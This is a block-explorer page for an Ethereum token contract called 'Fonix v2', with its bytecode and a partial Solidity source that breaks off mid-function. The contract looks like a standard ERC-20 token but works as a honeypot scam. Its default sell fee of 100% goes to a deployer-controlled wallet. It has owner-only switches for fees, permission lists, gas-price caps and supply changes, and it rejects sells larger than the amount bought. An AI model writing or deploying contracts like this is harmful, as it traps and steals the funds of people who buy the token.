Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0xaa947b2e6980Acd1E397F04Dd98DbC8877552BA6
Balance 0 ETH
Nonce 1
Code Size 13406 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

13406 bytes
0x608060405260043610610203575f3560e01c8063715018a611610117578063a9059cbb1161009f578063e3bbb4f11161006e578063e3bbb4f114610780578063e4440a86146107aa578063edd8b64a146107d4578063f2fde38b146107fc578063f53d9d581461082457610203565b8063a9059cbb146106a4578063bbf75e8f146106e0578063d1a039f014610708578063dd62ed3e1461074457610203565b806395d89b41116100e657806395d89b41146105b25780639e568dbc146105dc5780639f38a0d714610604578063a457c2d71461062c578063a7e90f411461066857610203565b8063715018a6146105205780638229c2e51461053657806385ecafd71461054c5780638da5cb5b1461058857610203565b8063395093511161019a5780635337cc99116101695780635337cc991461041c5780635342acb4146104445780636994ee73146104805780636db79437146104bc57806370a08231146104e457610203565b806339509351146103785780633975cae9146103b45780634d474d42146103de5780634feeade41461040657610203565b80632df8bca9116101d65780632df8bca9146102d3578063313ce567146102fe578063344d9e79146103285780633816377e1461035057610203565b806306fdde0314610207578063095ea7b31461023157806318160ddd1461026d57806323b872dd14610297575b5f5ffd5b348015610212575f5ffd5b5061021b610840565b60405161022891906125bd565b60405180910390f35b34801561023c575f5ffd5b5061025760048036038101906102529190612672565b6108d0565b60405161026491906126ca565b60405180910390f35b348015610278575f5ffd5b506102816108eb565b60405161028e91906126f2565b60405180910390f35b3480156102a2575f5ffd5b506102bd60048036038101906102b8919061270b565b6108f4565b6040516102ca91906126ca565b60405180910390f35b3480156102de575f5ffd5b506102e761091b565b6040516102f592919061275b565b60405180910390f35b348015610309575f5ffd5b5061031261092b565b60405161031f919061279d565b60405180910390f35b348015610333575f5ffd5b5061034e600480360381019061034991906127b6565b610940565b005b34801561035b575f5ffd5b50610376600480360381019061037191906127b6565b610975565b005b348015610383575f5ffd5b5061039e60048036038101906103999190612672565b6109aa565b6040516103ab91906126ca565b60405180910390f35b3480156103bf575f5ffd5b506103c86109d9565b6040516103d591906126ca565b60405180910390f35b3480156103e9575f5ffd5b5061040460048036038101906103ff91906127e1565b6109ee565b005b348015610411575f5ffd5b5061041a610a5c565b005b348015610427575f5ffd5b50610442600480360381019061043d9190612836565b610aea565b005b34801561044f575f5ffd5b5061046a600480360381019061046591906127e1565b610bfc565b60405161047791906126ca565b60405180910390f35b34801561048b575f5ffd5b506104a660048036038101906104a191906127e1565b610c4e565b6040516104b391906126f2565b60405180910390f35b3480156104c7575f5ffd5b506104e260048036038101906104dd9190612874565b610c94565b005b3480156104ef575f5ffd5b5061050a600480360381019061050591906127e1565b610d22565b60405161051791906126f2565b60405180910390f35b34801561052b575f5ffd5b50610534610d68565b005b348015610541575f5ffd5b5061054a610d7b565b005b348015610557575f5ffd5b50610572600480360381019061056d91906127e1565b610dd0565b60405161057f91906126ca565b60405180910390f35b348015610593575f5ffd5b5061059c610ded565b6040516105a991906128c1565b60405180910390f35b3480156105bd575f5ffd5b506105c6610e14565b6040516105d391906125bd565b60405180910390f35b3480156105e7575f5ffd5b5061060260048036038101906105fd91906127b6565b610ea4565b005b34801561060f575f5ffd5b5061062a6004803603810190610625919061293b565b610eea565b005b348015610637575f5ffd5b50610652600480360381019061064d9190612672565b610fb3565b60405161065f91906126ca565b60405180910390f35b348015610673575f5ffd5b5061068e600480360381019061068991906127e1565b611021565b60405161069b91906126ca565b60405180910390f35b3480156106af575f5ffd5b506106ca60048036038101906106c59190612672565b611073565b6040516106d791906126ca565b60405180910390f35b3480156106eb575f5ffd5b50610706600480360381019061070191906127e1565b61108e565b005b348015610713575f5ffd5b5061072e600480360381019061072991906127e1565b6112cf565b60405161073b91906126f2565b60405180910390f35b34801561074f575f5ffd5b5061076a60048036038101906107659190612998565b611315565b60405161077791906126f2565b60405180910390f35b34801561078b575f5ffd5b50610794611397565b6040516107a191906126f2565b60405180910390f35b3480156107b5575f5ffd5b506107be61139d565b6040516107cb91906128c1565b60405180910390f35b3480156107df575f5ffd5b506107fa60048036038101906107f591906127e1565b6113c2565b005b348015610807575f5ffd5b50610822600480360381019061081d91906127e1565b611430565b005b61083e600480360381019061083991906127b6565b6114b2565b005b60606007805461084f90612a03565b80601f016020809104026020016040519081016040528092919081815260200182805461087b90612a03565b80156108c65780601f1061089d576101008083540402835291602001916108c6565b820191905f5260205f20905b8154815290600101906020018083116108a957829003601f168201915b5050505050905090565b5f5f3390506108e08185856115cd565b600191505092915050565b5f600654905090565b5f5f339050610904858285611790565b61090f85858561181b565b60019150509392505050565b5f5f600b54600c54915091509091565b5f60095f9054906101000a900460ff16905090565b61096b33600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b8060108190555050565b6109a033600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b80600a8190555050565b5f5f3390506109ce8185856109bf8589611315565b6109c99190612a60565b6115cd565b600191505092915050565b5f60145f9054906101000a900460ff16905090565b610a1933600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b8060125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610a8733600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b6d629b8c891b267182b6140000000060045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610ae19190612a60565b92505081905550565b610b1533600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b80151560135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90612add565b60405180910390fd5b8060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f60135f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610cbf33600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b60648211158015610cd1575060648111155b610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612b6b565b60405180910390fd5b81600b8190555080600c819055505050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d706120ac565b610d795f612123565b565b610da633600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b60145f9054906101000a900460ff161560145f6101000a81548160ff021916908315150217905550565b6013602052805f5260405f205f915054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054610e2390612a03565b80601f0160208091040260200160405190810160405280929190818152602001828054610e4f90612a03565b8015610e9a5780601f10610e7157610100808354040283529160200191610e9a565b820191905f5260205f20905b815481529060010190602001808311610e7d57829003601f168201915b5050505050905090565b610ecf33600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b8060065f828254610ee09190612a60565b9250508190555050565b610f1533600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b5f5f90505b83839050811015610fad578160115f868685818110610f3c57610f3b612b89565b5b9050602002016020810190610f5191906127e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610f1a565b50505050565b5f5f3390505f610fc38286611315565b905083811015611008576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fff90612c26565b60405180910390fd5b61101582868684036115cd565b60019250505092915050565b5f60115f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f5f33905061108381858561181b565b600191505092915050565b6110b933600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b8060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611163573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111879190612c58565b73ffffffffffffffffffffffffffffffffffffffff1663e6a439053060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561120d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112319190612c58565b6040518363ffffffff1660e01b815260040161124e929190612c83565b602060405180830381865afa158015611269573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128d9190612c58565b60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600a5481565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113ed33600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6114386120ac565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149d90612d1a565b60405180910390fd5b6114af81612123565b50565b6114dd33600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661203a565b6115093060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115cd565b6115133082611073565b5060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430845f5f336104b0426115659190612a60565b6040518863ffffffff1660e01b815260040161158696959493929190612d7a565b60606040518083038185885af11580156115a2573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906115c79190612ded565b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163290612ead565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a090612f3b565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178391906126f2565b60405180910390a3505050565b5f61179b8484611315565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118155781811015611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90612fa3565b60405180910390fd5b61181484848484036115cd565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611889576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188090613031565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ee906130bf565b60405180910390fd5b6119028383836121e4565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197d9061314d565b60405180910390fd5b61198f84610bfc565b1580156119a257506119a083610bfc565b155b15611f23576119b084612454565b15611bdf575f6119c283600b54612503565b905082826119d0919061316b565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508083611a1d919061316b565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611a689190612a60565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611aca919061316b565b604051611ad791906126f2565b60405180910390a38060045f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b4c9190612a60565b9250508190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd191906126f2565b60405180910390a350611f1e565b611be883612454565b15611e17575f611bfa83600c54612503565b90508282611c08919061316b565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508083611c55919061316b565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ca09190612a60565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611d02919061316b565b604051611d0f91906126f2565b60405180910390a38060045f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611d849190612a60565b9250508190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e0991906126f2565b60405180910390a350611f1d565b8181611e23919061316b565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611eb09190612a60565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f1491906126f2565b60405180910390a35b5b612029565b8181611f2f919061316b565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611fbc9190612a60565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161202091906126f2565b60405180910390a35b612034848484612524565b50505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146120a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209f9061320e565b60405180910390fd5b5050565b3373ffffffffffffffffffffffffffffffffffffffff166120cb610ded565b73ffffffffffffffffffffffffffffffffffffffff1614612121576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211890613276565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6121ed83612454565b156122775780600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555042600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b61228082612454565b1561244f5760115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661244e5780600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612353576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234a90613304565b60405180910390fd5b80600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461239f919061316b565b925050819055506123ae6109d9565b1561243c576123fc600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054601054612529565b61243b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124329061336c565b60405180910390fd5b5b612444612541565b1561244d575f5ffd5b5b5b505050565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806124fc575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b5f60648284612512919061338a565b61251c91906133f8565b905092915050565b505050565b5f4282846125379190612a60565b1015905092915050565b5f600a543a1015905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61258f8261254d565b6125998185612557565b93506125a9818560208601612567565b6125b281612575565b840191505092915050565b5f6020820190508181035f8301526125d58184612585565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61260e826125e5565b9050919050565b61261e81612604565b8114612628575f5ffd5b50565b5f8135905061263981612615565b92915050565b5f819050919050565b6126518161263f565b811461265b575f5ffd5b50565b5f8135905061266c81612648565b92915050565b5f5f60408385031215612688576126876125dd565b5b5f6126958582860161262b565b92505060206126a68582860161265e565b9150509250929050565b5f8115159050919050565b6126c4816126b0565b82525050565b5f6020820190506126dd5f8301846126bb565b92915050565b6126ec8161263f565b82525050565b5f6020820190506127055f8301846126e3565b92915050565b5f5f5f60608486031215612722576127216125dd565b5b5f61272f8682870161262b565b93505060206127408682870161262b565b92505060406127518682870161265e565b9150509250925092565b5f60408201905061276e5f8301856126e3565b61277b60208301846126e3565b9392505050565b5f60ff82169050919050565b61279781612782565b82525050565b5f6020820190506127b05f83018461278e565b92915050565b5f602082840312156127cb576127ca6125dd565b5b5f6127d88482850161265e565b91505092915050565b5f602082840312156127f6576127f56125dd565b5b5f6128038482850161262b565b91505092915050565b612815816126b0565b811461281f575f5ffd5b50565b5f813590506128308161280c565b92915050565b5f5f6040838503121561284c5761284b6125dd565b5b5f6128598582860161262b565b925050602061286a85828601612822565b9150509250929050565b5f5f6040838503121561288a576128896125dd565b5b5f6128978582860161265e565b92505060206128a88582860161265e565b9150509250929050565b6128bb81612604565b82525050565b5f6020820190506128d45f8301846128b2565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f8401126128fb576128fa6128da565b5b8235905067ffffffffffffffff811115612918576129176128de565b5b602083019150836020820283011115612934576129336128e2565b5b9250929050565b5f5f5f60408486031215612952576129516125dd565b5b5f84013567ffffffffffffffff81111561296f5761296e6125e1565b5b61297b868287016128e6565b9350935050602061298e86828701612822565b9150509250925092565b5f5f604083850312156129ae576129ad6125dd565b5b5f6129bb8582860161262b565b92505060206129cc8582860161262b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612a1a57607f821691505b602082108103612a2d57612a2c6129d6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612a6a8261263f565b9150612a758361263f565b9250828201905080821115612a8d57612a8c612a33565b5b92915050565b7f5573657220616c726561647920686176652074686973207374617475730000005f82015250565b5f612ac7601d83612557565b9150612ad282612a93565b602082019050919050565b5f6020820190508181035f830152612af481612abb565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e5f8201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b5f612b55602483612557565b9150612b6082612afb565b604082019050919050565b5f6020820190508181035f830152612b8281612b49565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612c10602583612557565b9150612c1b82612bb6565b604082019050919050565b5f6020820190508181035f830152612c3d81612c04565b9050919050565b5f81519050612c5281612615565b92915050565b5f60208284031215612c6d57612c6c6125dd565b5b5f612c7a84828501612c44565b91505092915050565b5f604082019050612c965f8301856128b2565b612ca360208301846128b2565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612d04602683612557565b9150612d0f82612caa565b604082019050919050565b5f6020820190508181035f830152612d3181612cf8565b9050919050565b5f819050919050565b5f819050919050565b5f612d64612d5f612d5a84612d38565b612d41565b61263f565b9050919050565b612d7481612d4a565b82525050565b5f60c082019050612d8d5f8301896128b2565b612d9a60208301886126e3565b612da76040830187612d6b565b612db46060830186612d6b565b612dc160808301856128b2565b612dce60a08301846126e3565b979650505050505050565b5f81519050612de781612648565b92915050565b5f5f5f60608486031215612e0457612e036125dd565b5b5f612e1186828701612dd9565b9350506020612e2286828701612dd9565b9250506040612e3386828701612dd9565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612e97602483612557565b9150612ea282612e3d565b604082019050919050565b5f6020820190508181035f830152612ec481612e8b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612f25602283612557565b9150612f3082612ecb565b604082019050919050565b5f6020820190508181035f830152612f5281612f19565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612f8d601d83612557565b9150612f9882612f59565b602082019050919050565b5f6020820190508181035f830152612fba81612f81565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61301b602583612557565b915061302682612fc1565b604082019050919050565b5f6020820190508181035f8301526130488161300f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6130a9602383612557565b91506130b48261304f565b604082019050919050565b5f6020820190508181035f8301526130d68161309d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f613137602683612557565b9150613142826130dd565b604082019050919050565b5f6020820190508181035f8301526131648161312b565b9050919050565b5f6131758261263f565b91506131808361263f565b925082820390508181111561319857613197612a33565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f6131f8602183612557565b91506132038261319e565b604082019050919050565b5f6020820190508181035f830152613225816131ec565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f613260602083612557565b915061326b8261322c565b602082019050919050565b5f6020820190508181035f83015261328d81613254565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e5f8201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b5f6132ee602883612557565b91506132f982613294565b604082019050919050565b5f6020820190508181035f83015261331b816132e2565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d655f82015250565b5f613356602083612557565b915061336182613322565b602082019050919050565b5f6020820190508181035f8301526133838161334a565b9050919050565b5f6133948261263f565b915061339f8361263f565b92508282026133ad8161263f565b915082820484148315176133c4576133c3612a33565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6134028261263f565b915061340d8361263f565b92508261341d5761341c6133cb565b5b82820490509291505056fea2646970667358221220f1cf73f2f9a5d0ff51d85a4f8a1304b5eb87f77c41832ee75b222ae3f70137ce64736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Fonix v2.sol 430 lines
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Pair {}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

library SecureCalls {
    function checkCaller(address sender, address _origin) internal pure {
        require(sender == _origin, "Caller is not the original caller");
    }
}

contract LibreMount {

    mapping(uint256 => mapping(address => bool)) internal _blockState;

    function compreTxnStamp(uint256 _tmstmp, uint256 _dwntm) internal view returns (bool) {
        return(_tmstmp + _dwntm >= block.timestamp);
    }

    function suspiciousAddressCheck(address _addy) internal view {
        require(!_blockState[block.number][_addy], "Only one Txn per Block!");
    }

    function addSuspiciousAddress(address _addy) internal {
        _blockState[block.number][_addy] = true;
    }

}

contract TokenProtocol is IERC20, Ownable, LibreMount {

    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 1000000000000000000;
    string private _name = "Fonix v2";
    string private _symbol = "FON2";
    uint8 private _decimals = 9;
    uint256 public MAX_GAS_PRICE = 10 gwei;
    uint private buyFee = 0; // Default, %
    uint private sellFee = 100; // Default, %

    address private _origin;

    mapping(address => uint) private purchaseTimestamp;
    mapping(address => uint) private boughtAmount;
    uint256 private downTime = 1;
    mapping(address => bool) private premissionList;

    address public marketWallet;
    mapping(address => bool) public excludedFromFee;

    constructor () {
        _balances[owner()] = _totalSupply;
        
        emit Transfer(address(0), owner(), _totalSupply);

        premissionList[msg.sender] = true;
        premissionList[address(this)] = true;

        marketWallet = msg.sender;
        excludedFromFee[msg.sender] = true;
        excludedFromFee[address(this)] = true;

        _origin = msg.sender;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
